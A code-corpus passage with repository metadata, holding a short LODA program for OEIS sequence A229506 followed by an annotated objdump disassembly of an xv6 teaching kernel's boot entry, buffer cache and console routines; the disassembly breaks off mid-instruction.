neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A229506: Number of defective 3-colorings of an n X 4 0..2 array connected diagonally and antidiagonally with exactly one mistake, and colors introduced in row-major 0..2 order. ; Submitted by Jon Maiga ; 0,288,4032,50112,575424,6298560,66764736,691581888,7040530368,70711413696,702522486720,6917780251584,67615723104192,656742815497152,6344497107509184,61004779879896000,584181772129884096,5573884728066337728,53011201562673467328,502716965154749055936,4754998046208932153280,44869890654226105228224,422503190033146389692352,3970596277604320490976192,37247974604192911272490944,348845244389522443135765440,3262128456071778163372011456,30461847413740689046699205568,284080848505518371607452772288 mov $1,$0 seq $0,268905 ; Number of 2 X n 0..2 arrays with some element plus some horizontally or antidiagonally adjacent neighbor totalling two exactly once. lpb $1 mul $0,3 sub $1,1 lpe div $0,108 mul $0,288
70.230769
493
0.852136
2600cec31e6ff55c3311ca1d1f586d419a8eb218
609,040
asm
Assembly
kernel.asm
emevans2020/CISC361OSProject4
6d9d2010924d5a70e2f7cab7a2f56323bc0c87c0
[ "MIT-0" ]
null
null
null
kernel.asm
emevans2020/CISC361OSProject4
6d9d2010924d5a70e2f7cab7a2f56323bc0c87c0
[ "MIT-0" ]
null
null
null
kernel.asm
emevans2020/CISC361OSProject4
6d9d2010924d5a70e2f7cab7a2f56323bc0c87c0
[ "MIT-0" ]
null
null
null
kernel: file format elf32-i386 Disassembly of section .text: 80100000 <multiboot_header>: 80100000: 02 b0 ad 1b 00 00 add 0x1bad(%eax),%dh 80100006: 00 00 add %al,(%eax) 80100008: fe 4f 52 decb 0x52(%edi) 8010000b: e4 .byte 0xe4 8010000c <entry>: # Entering xv6 on boot processor, with paging off. .globl entry entry: # Turn on page size extension for 4Mbyte pages movl %cr4, %eax 8010000c: 0f 20 e0 mov %cr4,%eax orl $(CR4_PSE), %eax 8010000f: 83 c8 10 or $0x10,%eax movl %eax, %cr4 80100012: 0f 22 e0 mov %eax,%cr4 # Set page directory movl $(V2P_WO(entrypgdir)), %eax 80100015: b8 00 90 10 00 mov $0x109000,%eax movl %eax, %cr3 8010001a: 0f 22 d8 mov %eax,%cr3 # Turn on paging. movl %cr0, %eax 8010001d: 0f 20 c0 mov %cr0,%eax orl $(CR0_PG|CR0_WP), %eax 80100020: 0d 00 00 01 80 or $0x80010000,%eax movl %eax, %cr0 80100025: 0f 22 c0 mov %eax,%cr0 # Set up the stack pointer. movl $(stack + KSTACKSIZE), %esp 80100028: bc c0 b5 10 80 mov $0x8010b5c0,%esp # Jump to main(), and switch to executing at # high addresses. The indirect call is needed because # the assembler produces a PC-relative instruction # for a direct jump. mov $main, %eax 8010002d: b8 a0 2e 10 80 mov $0x80102ea0,%eax jmp *%eax 80100032: ff e0 jmp *%eax 80100034: 66 90 xchg %ax,%ax 80100036: 66 90 xchg %ax,%ax 80100038: 66 90 xchg %ax,%ax 8010003a: 66 90 xchg %ax,%ax 8010003c: 66 90 xchg %ax,%ax 8010003e: 66 90 xchg %ax,%ax 80100040 <binit>: struct buf head; } bcache; void binit(void) { 80100040: 55 push %ebp 80100041: 89 e5 mov %esp,%ebp 80100043: 53 push %ebx //PAGEBREAK! // Create linked list of buffers bcache.head.prev = &bcache.head; bcache.head.next = &bcache.head; for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 80100044: bb f4 b5 10 80 mov $0x8010b5f4,%ebx { 80100049: 83 ec 0c sub $0xc,%esp initlock(&bcache.lock, "bcache"); 8010004c: 68 e0 71 10 80 push $0x801071e0 80100051: 68 c0 b5 10 80 push $0x8010b5c0 80100056: e8 b5 44 00 00 call 80104510 <initlock> bcache.head.prev = &bcache.head; 8010005b: c7 05 0c fd 10 80 bc movl $0x8010fcbc,0x8010fd0c 80100062: fc 10 80 bcache.head.next = &bcache.head; 80100065: c7 05 10 fd 10 80 bc movl $0x8010fcbc,0x8010fd10 8010006c: fc 10 80 8010006f: 83 c4 10 add $0x10,%esp 80100072: ba bc fc 10 80 mov $0x8010fcbc,%edx 80100077: eb 09 jmp 80100082 <binit+0x42> 80100079: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80100080: 89 c3 mov %eax,%ebx b->next = bcache.head.next; b->prev = &bcache.head; initsleeplock(&b->lock, "buffer"); 80100082: 8d 43 0c lea 0xc(%ebx),%eax 80100085: 83 ec 08 sub $0x8,%esp b->next = bcache.head.next; 80100088: 89 53 54 mov %edx,0x54(%ebx) b->prev = &bcache.head; 8010008b: c7 43 50 bc fc 10 80 movl $0x8010fcbc,0x50(%ebx) initsleeplock(&b->lock, "buffer"); 80100092: 68 e7 71 10 80 push $0x801071e7 80100097: 50 push %eax 80100098: e8 43 43 00 00 call 801043e0 <initsleeplock> bcache.head.next->prev = b; 8010009d: a1 10 fd 10 80 mov 0x8010fd10,%eax for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 801000a2: 83 c4 10 add $0x10,%esp 801000a5: 89 da mov %ebx,%edx bcache.head.next->prev = b; 801000a7: 89 58 50 mov %ebx,0x50(%eax) for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 801000aa: 8d 83 5c 02 00 00 lea 0x25c(%ebx),%eax bcache.head.next = b; 801000b0: 89 1d 10 fd 10 80 mov %ebx,0x8010fd10 for(b = bcache.buf; b < bcache.buf+NBUF; b++){ 801000b6: 3d bc fc 10 80 cmp $0x8010fcbc,%eax 801000bb: 72 c3 jb 80100080 <binit+0x40> } } 801000bd: 8b 5d fc mov -0x4(%ebp),%ebx 801000c0: c9 leave 801000c1: c3 ret 801000c2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801000c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801000d0 <bread>: } // Return a locked buf with the contents of the indicated block. struct buf* bread(uint dev, uint blockno) { 801000d0: 55 push %ebp 801000d1: 89 e5 mov %esp,%ebp 801000d3: 57 push %edi 801000d4: 56 push %esi 801000d5: 53 push %ebx 801000d6: 83 ec 18 sub $0x18,%esp 801000d9: 8b 75 08 mov 0x8(%ebp),%esi 801000dc: 8b 7d 0c mov 0xc(%ebp),%edi acquire(&bcache.lock); 801000df: 68 c0 b5 10 80 push $0x8010b5c0 801000e4: e8 67 45 00 00 call 80104650 <acquire> for(b = bcache.head.next; b != &bcache.head; b = b->next){ 801000e9: 8b 1d 10 fd 10 80 mov 0x8010fd10,%ebx 801000ef: 83 c4 10 add $0x10,%esp 801000f2: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx 801000f8: 75 11 jne 8010010b <bread+0x3b> 801000fa: eb 24 jmp 80100120 <bread+0x50> 801000fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100100: 8b 5b 54 mov 0x54(%ebx),%ebx 80100103: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx 80100109: 74 15 je 80100120 <bread+0x50> if(b->dev == dev && b->blockno == blockno){ 8010010b: 3b 73 04 cmp 0x4(%ebx),%esi 8010010e: 75 f0 jne 80100100 <bread+0x30> 80100110: 3b 7b 08 cmp 0x8(%ebx),%edi 80100113: 75 eb jne 80100100 <bread+0x30> b->refcnt++; 80100115: 83 43 4c 01 addl $0x1,0x4c(%ebx) 80100119: eb 3f jmp 8010015a <bread+0x8a> 8010011b: 90 nop 8010011c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(b = bcache.head.prev; b != &bcache.head; b = b->prev){ 80100120: 8b 1d 0c fd 10 80 mov 0x8010fd0c,%ebx 80100126: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx 8010012c: 75 0d jne 8010013b <bread+0x6b> 8010012e: eb 60 jmp 80100190 <bread+0xc0> 80100130: 8b 5b 50 mov 0x50(%ebx),%ebx 80100133: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx 80100139: 74 55 je 80100190 <bread+0xc0> if(b->refcnt == 0 && (b->flags & B_DIRTY) == 0) { 8010013b: 8b 43 4c mov 0x4c(%ebx),%eax 8010013e: 85 c0 test %eax,%eax 80100140: 75 ee jne 80100130 <bread+0x60> 80100142: f6 03 04 testb $0x4,(%ebx) 80100145: 75 e9 jne 80100130 <bread+0x60> b->dev = dev; 80100147: 89 73 04 mov %esi,0x4(%ebx) b->blockno = blockno; 8010014a: 89 7b 08 mov %edi,0x8(%ebx) b->flags = 0; 8010014d: c7 03 00 00 00 00 movl $0x0,(%ebx) b->refcnt = 1; 80100153: c7 43 4c 01 00 00 00 movl $0x1,0x4c(%ebx) release(&bcache.lock); 8010015a: 83 ec 0c sub $0xc,%esp 8010015d: 68 c0 b5 10 80 push $0x8010b5c0 80100162: e8 a9 45 00 00 call 80104710 <release> acquiresleep(&b->lock); 80100167: 8d 43 0c lea 0xc(%ebx),%eax 8010016a: 89 04 24 mov %eax,(%esp) 8010016d: e8 ae 42 00 00 call 80104420 <acquiresleep> 80100172: 83 c4 10 add $0x10,%esp struct buf *b; b = bget(dev, blockno); if((b->flags & B_VALID) == 0) { 80100175: f6 03 02 testb $0x2,(%ebx) 80100178: 75 0c jne 80100186 <bread+0xb6> iderw(b); 8010017a: 83 ec 0c sub $0xc,%esp 8010017d: 53 push %ebx 8010017e: e8 9d 1f 00 00 call 80102120 <iderw> 80100183: 83 c4 10 add $0x10,%esp } return b; } 80100186: 8d 65 f4 lea -0xc(%ebp),%esp 80100189: 89 d8 mov %ebx,%eax 8010018b: 5b pop %ebx 8010018c: 5e pop %esi 8010018d: 5f pop %edi 8010018e: 5d pop %ebp 8010018f: c3 ret panic("bget: no buffers"); 80100190: 83 ec 0c sub $0xc,%esp 80100193: 68 ee 71 10 80 push $0x801071ee 80100198: e8 f3 01 00 00 call 80100390 <panic> 8010019d: 8d 76 00 lea 0x0(%esi),%esi 801001a0 <bwrite>: // Write b's contents to disk. Must be locked. void bwrite(struct buf *b) { 801001a0: 55 push %ebp 801001a1: 89 e5 mov %esp,%ebp 801001a3: 53 push %ebx 801001a4: 83 ec 10 sub $0x10,%esp 801001a7: 8b 5d 08 mov 0x8(%ebp),%ebx if(!holdingsleep(&b->lock)) 801001aa: 8d 43 0c lea 0xc(%ebx),%eax 801001ad: 50 push %eax 801001ae: e8 0d 43 00 00 call 801044c0 <holdingsleep> 801001b3: 83 c4 10 add $0x10,%esp 801001b6: 85 c0 test %eax,%eax 801001b8: 74 0f je 801001c9 <bwrite+0x29> panic("bwrite"); b->flags |= B_DIRTY; 801001ba: 83 0b 04 orl $0x4,(%ebx) iderw(b); 801001bd: 89 5d 08 mov %ebx,0x8(%ebp) } 801001c0: 8b 5d fc mov -0x4(%ebp),%ebx 801001c3: c9 leave iderw(b); 801001c4: e9 57 1f 00 00 jmp 80102120 <iderw> panic("bwrite"); 801001c9: 83 ec 0c sub $0xc,%esp 801001cc: 68 ff 71 10 80 push $0x801071ff 801001d1: e8 ba 01 00 00 call 80100390 <panic> 801001d6: 8d 76 00 lea 0x0(%esi),%esi 801001d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801001e0 <brelse>: // Release a locked buffer. // Move to the head of the MRU list. void brelse(struct buf *b) { 801001e0: 55 push %ebp 801001e1: 89 e5 mov %esp,%ebp 801001e3: 56 push %esi 801001e4: 53 push %ebx 801001e5: 8b 5d 08 mov 0x8(%ebp),%ebx if(!holdingsleep(&b->lock)) 801001e8: 83 ec 0c sub $0xc,%esp 801001eb: 8d 73 0c lea 0xc(%ebx),%esi 801001ee: 56 push %esi 801001ef: e8 cc 42 00 00 call 801044c0 <holdingsleep> 801001f4: 83 c4 10 add $0x10,%esp 801001f7: 85 c0 test %eax,%eax 801001f9: 74 66 je 80100261 <brelse+0x81> panic("brelse"); releasesleep(&b->lock); 801001fb: 83 ec 0c sub $0xc,%esp 801001fe: 56 push %esi 801001ff: e8 7c 42 00 00 call 80104480 <releasesleep> acquire(&bcache.lock); 80100204: c7 04 24 c0 b5 10 80 movl $0x8010b5c0,(%esp) 8010020b: e8 40 44 00 00 call 80104650 <acquire> b->refcnt--; 80100210: 8b 43 4c mov 0x4c(%ebx),%eax if (b->refcnt == 0) { 80100213: 83 c4 10 add $0x10,%esp b->refcnt--; 80100216: 83 e8 01 sub $0x1,%eax if (b->refcnt == 0) { 80100219: 85 c0 test %eax,%eax b->refcnt--; 8010021b: 89 43 4c mov %eax,0x4c(%ebx) if (b->refcnt == 0) { 8010021e: 75 2f jne 8010024f <brelse+0x6f> // no one is waiting for it. b->next->prev = b->prev; 80100220: 8b 43 54 mov 0x54(%ebx),%eax 80100223: 8b 53 50 mov 0x50(%ebx),%edx 80100226: 89 50 50 mov %edx,0x50(%eax) b->prev->next = b->next; 80100229: 8b 43 50 mov 0x50(%ebx),%eax 8010022c: 8b 53 54 mov 0x54(%ebx),%edx 8010022f: 89 50 54 mov %edx,0x54(%eax) b->next = bcache.head.next; 80100232: a1 10 fd 10 80 mov 0x8010fd10,%eax b->prev = &bcache.head; 80100237: c7 43 50 bc fc 10 80 movl $0x8010fcbc,0x50(%ebx) b->next = bcache.head.next; 8010023e: 89 43 54 mov %eax,0x54(%ebx) bcache.head.next->prev = b; 80100241: a1 10 fd 10 80 mov 0x8010fd10,%eax 80100246: 89 58 50 mov %ebx,0x50(%eax) bcache.head.next = b; 80100249: 89 1d 10 fd 10 80 mov %ebx,0x8010fd10 } release(&bcache.lock); 8010024f: c7 45 08 c0 b5 10 80 movl $0x8010b5c0,0x8(%ebp) } 80100256: 8d 65 f8 lea -0x8(%ebp),%esp 80100259: 5b pop %ebx 8010025a: 5e pop %esi 8010025b: 5d pop %ebp release(&bcache.lock); 8010025c: e9 af 44 00 00 jmp 80104710 <release> panic("brelse"); 80100261: 83 ec 0c sub $0xc,%esp 80100264: 68 06 72 10 80 push $0x80107206 80100269: e8 22 01 00 00 call 80100390 <panic> 8010026e: 66 90 xchg %ax,%ax 80100270 <consoleread>: } } int consoleread(struct inode *ip, char *dst, int n) { 80100270: 55 push %ebp 80100271: 89 e5 mov %esp,%ebp 80100273: 57 push %edi 80100274: 56 push %esi 80100275: 53 push %ebx 80100276: 83 ec 28 sub $0x28,%esp 80100279: 8b 7d 08 mov 0x8(%ebp),%edi 8010027c: 8b 75 0c mov 0xc(%ebp),%esi uint target; int c; iunlock(ip); 8010027f: 57 push %edi 80100280: e8 db 14 00 00 call 80101760 <iunlock> target = n; acquire(&cons.lock); 80100285: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 8010028c: e8 bf 43 00 00 call 80104650 <acquire> while(n > 0){ 80100291: 8b 5d 10 mov 0x10(%ebp),%ebx 80100294: 83 c4 10 add $0x10,%esp 80100297: 31 c0 xor %eax,%eax 80100299: 85 db test %ebx,%ebx 8010029b: 0f 8e a1 00 00 00 jle 80100342 <consoleread+0xd2> while(input.r == input.w){ 801002a1: 8b 15 a0 ff 10 80 mov 0x8010ffa0,%edx 801002a7: 39 15 a4 ff 10 80 cmp %edx,0x8010ffa4 801002ad: 74 2c je 801002db <consoleread+0x6b> 801002af: eb 5f jmp 80100310 <consoleread+0xa0> 801002b1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(myproc()->killed){ release(&cons.lock); ilock(ip); return -1; } sleep(&input.r, &cons.lock); 801002b8: 83 ec 08 sub $0x8,%esp 801002bb: 68 20 a5 10 80 push $0x8010a520 801002c0: 68 a0 ff 10 80 push $0x8010ffa0 801002c5: e8 f6 3c 00 00 call 80103fc0 <sleep> while(input.r == input.w){ 801002ca: 8b 15 a0 ff 10 80 mov 0x8010ffa0,%edx 801002d0: 83 c4 10 add $0x10,%esp 801002d3: 3b 15 a4 ff 10 80 cmp 0x8010ffa4,%edx 801002d9: 75 35 jne 80100310 <consoleread+0xa0> if(myproc()->killed){ 801002db: e8 20 35 00 00 call 80103800 <myproc> 801002e0: 8b 40 24 mov 0x24(%eax),%eax 801002e3: 85 c0 test %eax,%eax 801002e5: 74 d1 je 801002b8 <consoleread+0x48> release(&cons.lock); 801002e7: 83 ec 0c sub $0xc,%esp 801002ea: 68 20 a5 10 80 push $0x8010a520 801002ef: e8 1c 44 00 00 call 80104710 <release> ilock(ip); 801002f4: 89 3c 24 mov %edi,(%esp) 801002f7: e8 84 13 00 00 call 80101680 <ilock> return -1; 801002fc: 83 c4 10 add $0x10,%esp } release(&cons.lock); ilock(ip); return target - n; } 801002ff: 8d 65 f4 lea -0xc(%ebp),%esp return -1; 80100302: b8 ff ff ff ff mov $0xffffffff,%eax } 80100307: 5b pop %ebx 80100308: 5e pop %esi 80100309: 5f pop %edi 8010030a: 5d pop %ebp 8010030b: c3 ret 8010030c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi c = input.buf[input.r++ % INPUT_BUF]; 80100310: 8d 42 01 lea 0x1(%edx),%eax 80100313: a3 a0 ff 10 80 mov %eax,0x8010ffa0 80100318: 89 d0 mov %edx,%eax 8010031a: 83 e0 7f and $0x7f,%eax 8010031d: 0f be 80 20 ff 10 80 movsbl -0x7fef00e0(%eax),%eax if(c == C('D')){ // EOF 80100324: 83 f8 04 cmp $0x4,%eax 80100327: 74 3f je 80100368 <consoleread+0xf8> *dst++ = c; 80100329: 83 c6 01 add $0x1,%esi --n; 8010032c: 83 eb 01 sub $0x1,%ebx if(c == '\n') 8010032f: 83 f8 0a cmp $0xa,%eax *dst++ = c; 80100332: 88 46 ff mov %al,-0x1(%esi) if(c == '\n') 80100335: 74 43 je 8010037a <consoleread+0x10a> while(n > 0){ 80100337: 85 db test %ebx,%ebx 80100339: 0f 85 62 ff ff ff jne 801002a1 <consoleread+0x31> 8010033f: 8b 45 10 mov 0x10(%ebp),%eax release(&cons.lock); 80100342: 83 ec 0c sub $0xc,%esp 80100345: 89 45 e4 mov %eax,-0x1c(%ebp) 80100348: 68 20 a5 10 80 push $0x8010a520 8010034d: e8 be 43 00 00 call 80104710 <release> ilock(ip); 80100352: 89 3c 24 mov %edi,(%esp) 80100355: e8 26 13 00 00 call 80101680 <ilock> return target - n; 8010035a: 8b 45 e4 mov -0x1c(%ebp),%eax 8010035d: 83 c4 10 add $0x10,%esp } 80100360: 8d 65 f4 lea -0xc(%ebp),%esp 80100363: 5b pop %ebx 80100364: 5e pop %esi 80100365: 5f pop %edi 80100366: 5d pop %ebp 80100367: c3 ret 80100368: 8b 45 10 mov 0x10(%ebp),%eax 8010036b: 29 d8 sub %ebx,%eax if(n < target){ 8010036d: 3b 5d 10 cmp 0x10(%ebp),%ebx 80100370: 73 d0 jae 80100342 <consoleread+0xd2> input.r--; 80100372: 89 15 a0 ff 10 80 mov %edx,0x8010ffa0 80100378: eb c8 jmp 80100342 <consoleread+0xd2> 8010037a: 8b 45 10 mov 0x10(%ebp),%eax 8010037d: 29 d8 sub %ebx,%eax 8010037f: eb c1 jmp 80100342 <consoleread+0xd2> 80100381: eb 0d jmp 80100390 <panic> 80100383: 90 nop 80100384: 90 nop 80100385: 90 nop 80100386: 90 nop 80100387: 90 nop 80100388: 90 nop 80100389: 90 nop 8010038a: 90 nop 8010038b: 90 nop 8010038c: 90 nop 8010038d: 90 nop 8010038e: 90 nop 8010038f: 90 nop 80100390 <panic>: { 80100390: 55 push %ebp 80100391: 89 e5 mov %esp,%ebp 80100393: 56 push %esi 80100394: 53 push %ebx 80100395: 83 ec 30 sub $0x30,%esp } static inline void cli(void) { asm volatile("cli"); 80100398: fa cli cons.locking = 0; 80100399: c7 05 54 a5 10 80 00 movl $0x0,0x8010a554 801003a0: 00 00 00 getcallerpcs(&s, pcs); 801003a3: 8d 5d d0 lea -0x30(%ebp),%ebx 801003a6: 8d 75 f8 lea -0x8(%ebp),%esi cprintf("lapicid %d: panic: ", lapicid()); 801003a9: e8 82 23 00 00 call 80102730 <lapicid> 801003ae: 83 ec 08 sub $0x8,%esp 801003b1: 50 push %eax 801003b2: 68 0d 72 10 80 push $0x8010720d 801003b7: e8 a4 02 00 00 call 80100660 <cprintf> cprintf(s); 801003bc: 58 pop %eax 801003bd: ff 75 08 pushl 0x8(%ebp) 801003c0: e8 9b 02 00 00 call 80100660 <cprintf> cprintf("\n"); 801003c5: c7 04 24 18 78 10 80 movl $0x80107818,(%esp) 801003cc: e8 8f 02 00 00 call 80100660 <cprintf> getcallerpcs(&s, pcs); 801003d1: 5a pop %edx 801003d2: 8d 45 08 lea 0x8(%ebp),%eax 801003d5: 59 pop %ecx 801003d6: 53 push %ebx 801003d7: 50 push %eax 801003d8: e8 53 41 00 00 call 80104530 <getcallerpcs> 801003dd: 83 c4 10 add $0x10,%esp cprintf(" %p", pcs[i]); 801003e0: 83 ec 08 sub $0x8,%esp 801003e3: ff 33 pushl (%ebx) 801003e5: 83 c3 04 add $0x4,%ebx 801003e8: 68 21 72 10 80 push $0x80107221 801003ed: e8 6e 02 00 00 call 80100660 <cprintf> for(i=0; i<10; i++) 801003f2: 83 c4 10 add $0x10,%esp 801003f5: 39 f3 cmp %esi,%ebx 801003f7: 75 e7 jne 801003e0 <panic+0x50> panicked = 1; // freeze other CPU 801003f9: c7 05 58 a5 10 80 01 movl $0x1,0x8010a558 80100400: 00 00 00 80100403: eb fe jmp 80100403 <panic+0x73> 80100405: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100409: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80100410 <consputc>: if(panicked){ 80100410: 8b 0d 58 a5 10 80 mov 0x8010a558,%ecx 80100416: 85 c9 test %ecx,%ecx 80100418: 74 06 je 80100420 <consputc+0x10> 8010041a: fa cli 8010041b: eb fe jmp 8010041b <consputc+0xb> 8010041d: 8d 76 00 lea 0x0(%esi),%esi { 80100420: 55 push %ebp 80100421: 89 e5 mov %esp,%ebp 80100423: 57 push %edi 80100424: 56 push %esi 80100425: 53 push %ebx 80100426: 89 c6 mov %eax,%esi 80100428: 83 ec 0c sub $0xc,%esp if(c == BACKSPACE){ 8010042b: 3d 00 01 00 00 cmp $0x100,%eax 80100430: 0f 84 b1 00 00 00 je 801004e7 <consputc+0xd7> uartputc(c); 80100436: 83 ec 0c sub $0xc,%esp 80100439: 50 push %eax 8010043a: e8 a1 59 00 00 call 80105de0 <uartputc> 8010043f: 83 c4 10 add $0x10,%esp asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80100442: bb d4 03 00 00 mov $0x3d4,%ebx 80100447: b8 0e 00 00 00 mov $0xe,%eax 8010044c: 89 da mov %ebx,%edx 8010044e: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010044f: b9 d5 03 00 00 mov $0x3d5,%ecx 80100454: 89 ca mov %ecx,%edx 80100456: ec in (%dx),%al pos = inb(CRTPORT+1) << 8; 80100457: 0f b6 c0 movzbl %al,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010045a: 89 da mov %ebx,%edx 8010045c: c1 e0 08 shl $0x8,%eax 8010045f: 89 c7 mov %eax,%edi 80100461: b8 0f 00 00 00 mov $0xf,%eax 80100466: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80100467: 89 ca mov %ecx,%edx 80100469: ec in (%dx),%al 8010046a: 0f b6 d8 movzbl %al,%ebx pos |= inb(CRTPORT+1); 8010046d: 09 fb or %edi,%ebx if(c == '\n') 8010046f: 83 fe 0a cmp $0xa,%esi 80100472: 0f 84 f3 00 00 00 je 8010056b <consputc+0x15b> else if(c == BACKSPACE){ 80100478: 81 fe 00 01 00 00 cmp $0x100,%esi 8010047e: 0f 84 d7 00 00 00 je 8010055b <consputc+0x14b> crt[pos++] = (c&0xff) | 0x0700; // black on white 80100484: 89 f0 mov %esi,%eax 80100486: 0f b6 c0 movzbl %al,%eax 80100489: 80 cc 07 or $0x7,%ah 8010048c: 66 89 84 1b 00 80 0b mov %ax,-0x7ff48000(%ebx,%ebx,1) 80100493: 80 80100494: 83 c3 01 add $0x1,%ebx if(pos < 0 || pos > 25*80) 80100497: 81 fb d0 07 00 00 cmp $0x7d0,%ebx 8010049d: 0f 8f ab 00 00 00 jg 8010054e <consputc+0x13e> if((pos/80) >= 24){ // Scroll up. 801004a3: 81 fb 7f 07 00 00 cmp $0x77f,%ebx 801004a9: 7f 66 jg 80100511 <consputc+0x101> asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801004ab: be d4 03 00 00 mov $0x3d4,%esi 801004b0: b8 0e 00 00 00 mov $0xe,%eax 801004b5: 89 f2 mov %esi,%edx 801004b7: ee out %al,(%dx) 801004b8: b9 d5 03 00 00 mov $0x3d5,%ecx outb(CRTPORT+1, pos>>8); 801004bd: 89 d8 mov %ebx,%eax 801004bf: c1 f8 08 sar $0x8,%eax 801004c2: 89 ca mov %ecx,%edx 801004c4: ee out %al,(%dx) 801004c5: b8 0f 00 00 00 mov $0xf,%eax 801004ca: 89 f2 mov %esi,%edx 801004cc: ee out %al,(%dx) 801004cd: 89 d8 mov %ebx,%eax 801004cf: 89 ca mov %ecx,%edx 801004d1: ee out %al,(%dx) crt[pos] = ' ' | 0x0700; 801004d2: b8 20 07 00 00 mov $0x720,%eax 801004d7: 66 89 84 1b 00 80 0b mov %ax,-0x7ff48000(%ebx,%ebx,1) 801004de: 80 } 801004df: 8d 65 f4 lea -0xc(%ebp),%esp 801004e2: 5b pop %ebx 801004e3: 5e pop %esi 801004e4: 5f pop %edi 801004e5: 5d pop %ebp 801004e6: c3 ret uartputc('\b'); uartputc(' '); uartputc('\b'); 801004e7: 83 ec 0c sub $0xc,%esp 801004ea: 6a 08 push $0x8 801004ec: e8 ef 58 00 00 call 80105de0 <uartputc> 801004f1: c7 04 24 20 00 00 00 movl $0x20,(%esp) 801004f8: e8 e3 58 00 00 call 80105de0 <uartputc> 801004fd: c7 04 24 08 00 00 00 movl $0x8,(%esp) 80100504: e8 d7 58 00 00 call 80105de0 <uartputc> 80100509: 83 c4 10 add $0x10,%esp 8010050c: e9 31 ff ff ff jmp 80100442 <consputc+0x32> memmove(crt, crt+80, sizeof(crt[0])*23*80); 80100511: 52 push %edx 80100512: 68 60 0e 00 00 push $0xe60 pos -= 80; 80100517: 83 eb 50 sub $0x50,%ebx memmove(crt, crt+80, sizeof(crt[0])*23*80); 8010051a: 68 a0 80 0b 80 push $0x800b80a0 8010051f: 68 00 80 0b 80 push $0x800b8000 80100524: e8 e7 42 00 00 call 80104810 <memmove> memset(crt+pos, 0, sizeof(crt[0])*(24*80 - pos)); 80100529: b8 80 07 00 00 mov $0x780,%eax 8010052e: 83 c4 0c add $0xc,%esp 80100531: 29 d8 sub %ebx,%eax 80100533: 01 c0 add %eax,%eax 80100535: 50 push %eax 80100536: 8d 04 1b lea (%ebx,%ebx,1),%eax 80100539: 6a 00 push $0x0 8010053b: 2d 00 80 f4 7f sub $0x7ff48000,%eax 80100540: 50 push %eax 80100541: e8 1a 42 00 00 call 80104760 <memset> 80100546: 83 c4 10 add $0x10,%esp 80100549: e9 5d ff ff ff jmp 801004ab <consputc+0x9b> panic("pos under/overflow"); 8010054e: 83 ec 0c sub $0xc,%esp 80100551: 68 25 72 10 80 push $0x80107225 80100556: e8 35 fe ff ff call 80100390 <panic> if(pos > 0) --pos; 8010055b: 85 db test %ebx,%ebx 8010055d: 0f 84 48 ff ff ff je 801004ab <consputc+0x9b> 80100563: 83 eb 01 sub $0x1,%ebx 80100566: e9 2c ff ff ff jmp 80100497 <consputc+0x87> pos += 80 - pos%80; 8010056b: 89 d8 mov %ebx,%eax 8010056d: b9 50 00 00 00 mov $0x50,%ecx 80100572: 99 cltd 80100573: f7 f9 idiv %ecx 80100575: 29 d1 sub %edx,%ecx 80100577: 01 cb add %ecx,%ebx 80100579: e9 19 ff ff ff jmp 80100497 <consputc+0x87> 8010057e: 66 90 xchg %ax,%ax 80100580 <printint>: { 80100580: 55 push %ebp 80100581: 89 e5 mov %esp,%ebp 80100583: 57 push %edi 80100584: 56 push %esi 80100585: 53 push %ebx 80100586: 89 d3 mov %edx,%ebx 80100588: 83 ec 2c sub $0x2c,%esp if(sign && (sign = xx < 0)) 8010058b: 85 c9 test %ecx,%ecx { 8010058d: 89 4d d4 mov %ecx,-0x2c(%ebp) if(sign && (sign = xx < 0)) 80100590: 74 04 je 80100596 <printint+0x16> 80100592: 85 c0 test %eax,%eax 80100594: 78 5a js 801005f0 <printint+0x70> x = xx; 80100596: c7 45 d4 00 00 00 00 movl $0x0,-0x2c(%ebp) i = 0; 8010059d: 31 c9 xor %ecx,%ecx 8010059f: 8d 75 d7 lea -0x29(%ebp),%esi 801005a2: eb 06 jmp 801005aa <printint+0x2a> 801005a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi buf[i++] = digits[x % base]; 801005a8: 89 f9 mov %edi,%ecx 801005aa: 31 d2 xor %edx,%edx 801005ac: 8d 79 01 lea 0x1(%ecx),%edi 801005af: f7 f3 div %ebx 801005b1: 0f b6 92 50 72 10 80 movzbl -0x7fef8db0(%edx),%edx }while((x /= base) != 0); 801005b8: 85 c0 test %eax,%eax buf[i++] = digits[x % base]; 801005ba: 88 14 3e mov %dl,(%esi,%edi,1) }while((x /= base) != 0); 801005bd: 75 e9 jne 801005a8 <printint+0x28> if(sign) 801005bf: 8b 45 d4 mov -0x2c(%ebp),%eax 801005c2: 85 c0 test %eax,%eax 801005c4: 74 08 je 801005ce <printint+0x4e> buf[i++] = '-'; 801005c6: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1) 801005cb: 8d 79 02 lea 0x2(%ecx),%edi 801005ce: 8d 5c 3d d7 lea -0x29(%ebp,%edi,1),%ebx 801005d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi consputc(buf[i]); 801005d8: 0f be 03 movsbl (%ebx),%eax 801005db: 83 